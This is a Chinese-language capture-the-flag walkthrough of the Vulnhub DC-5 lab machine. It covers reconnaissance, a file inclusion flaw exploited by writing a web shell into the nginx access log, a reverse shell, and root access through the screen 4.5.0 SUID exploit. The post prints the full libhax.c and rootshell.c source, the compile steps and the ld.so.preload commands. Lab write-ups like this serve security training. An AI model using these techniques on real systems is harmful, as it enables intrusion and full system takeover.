Vulnhub-DC-5靶机实战

Vulnhub-DC-5靶机实战

前言

靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/

KALI地址:192.168.16.109

靶机地址:192.168.16.1


一.信息收集

1.主机发现

使用如下命令来发现靶机

netdiscover -r 192.168.16.109

如下图发现了靶机地址


2.主机扫描

这里使用nmap工具,命令如下

nmap -A -T4 -p- 192.168.16.1

扫描结果如下,发现开放的端口少的可怜


3.目录扫描

虽然少的可怜但是开放了80端口,肯定要用dirb来扫一下目录啊,命令如下

dirb http://192.168.16.1

如下图,发现目录扫描出来的东西也少的可怜


4.网页信息收集

打开发现是有五个页面可以点击的,前面四个没有什么好看的,目录扫描也没有扫描出来什么东西,但是最后一个目录有可以写入的东西也就是contact.php这个目录,但是写入东西然后发送之后,发现是GET传参,如下图。

但是经过了一系列的斗争搜索,真没发现什么可以利用的,然后这里我们使用kali的whatweb命令查看是什么结构的网站,如下图。

但是这样扫描也没有发现什么东西, 只能发现这个东西是nginx的网站,所以我不服,用dirsearch这个工具来重新扫描一下目录,这个工具可以自行百度下载,果然是kali的没有扫出来,如下图。

看样子是,一个脚页的名字,感觉没啥用,如下图访问。

不对,在自己边做边写文章的时候注意到,上面访问contact.php的时候,下面的年份是2020年,怎么访问这个是2018年,于是回到上面contact.php写入的地方刷新也就是thankyou.php的地方,证明了我的猜想,那么极有可能是这个地方包含了footer.php这个文件才能实现刷新,如下图,发送文件thankyou.php的地方,年份从2020变成了2018。


二.漏洞利用

1.文件包含

既然是猜测是文件包含漏洞,那么这里猜一猜变量是否为常见的file,如下图,还真是file,如果不行就只能爆破试试了。

既然有文件包含,其实我想的是用/var/log/auth.log来写入一句话木马,但是没有开放22端口,只能另寻办法,上面信息收集,发现是nginx的网站,那么看看能不能包含nginx的日志文件,在网上寻找了一番发现,我们需要利用的是一个叫做访问日志的东西,也就是access.log,如下图。

根据资料查找,发现路径/var/log/nginx/access.log

如下图,发现可以访问,而且可以发现下面的内容都是我们访问过的URL地址的内容。

BP抓包,在里面修改包内容,在正常的URL地址后面根上一句话木马,如下图。

然后我们在查看日志内容是否有刚才我们访问的东西,如下图,发现是有的。

如下图,然后我们在用蚁剑连接,发现可以连接成功的!

由于蚁剑的终端可能会经常出毛病,所以这里直接nc反弹到kali里去了,如下图。


三.提权

既然反弹成功,这里查看是否有python,命令是whereis python,如下图,发现是有python的

然后这里使用python来更换shell,命令是python -c "import pty; pty.spawn('/bin/bash')"

然后我们在来三问,如下图。

然后查看具有SUID权限的命令,命令如下

find / -perm /4000 2>/dev/null

/: 对应的是根目录

-perm /4000: 查找SUID权限

2> :输出错误到空文件

如下图,发现了可以SUID的命令

然后我们KALI找一下是否有漏洞,使用命令searchsploit screen 4.5.0 ,如下图,然后把文件复制桌面查看

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./cp /usr/share/exploitdb/exploits/linux/local/41152.txt ./

复制了我直接开始编译,发现是失败的,我就郁闷了为啥失败,然后打开看了一下文件,才明白了咋回事,首先看下面这个图,把红色框框的代码复制出来。放在libhax.c的文件里, 然后再使用gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c编译即可,这里我放在当前目录下面就没有加/tmp目录

上面代码如下

#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n");}

编译成功之后,再和上面操作一样把下面部分编译即可,如下图,我这里的编译命令是gcc -o rootshell rootshell.c

代码如下

#include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}

做完这些操作之后发现就生成了两个文件分别是rootshelllibhax.so,最后就可以把生成的文件放在靶机的/tmp目录下面了,这里可以使用kali自带的web服务service start apache2开启WEB服务,然后把文件放在KALI的/var/www/html目录下面,最后再回到靶机用wget命令下载即可,如下图靶机下载成功。

最后我们再执行脚本里面提示的命令即可,前提是文件要放在靶机的/tmp目录下面,如下命令

cd /etcumask 000 screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" screen -ls /tmp/rootshell        

如下图提权成功,先来三问,发现成功提权到了root权限!!

然后我们就可以去root目录查看flag,如下图,完结!


四.总结

记得SUID提权的方式,和查找命令是find / -perm /4000 2>/dev/null

免责声明:本网信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,并请自行核实相关内容。本站不承担此类作品侵权行为的直接责任及连带责任。如若本网有任何内容侵犯您的权益,请及时联系我们,本站将会在24小时内处理完毕。
相关文章
返回顶部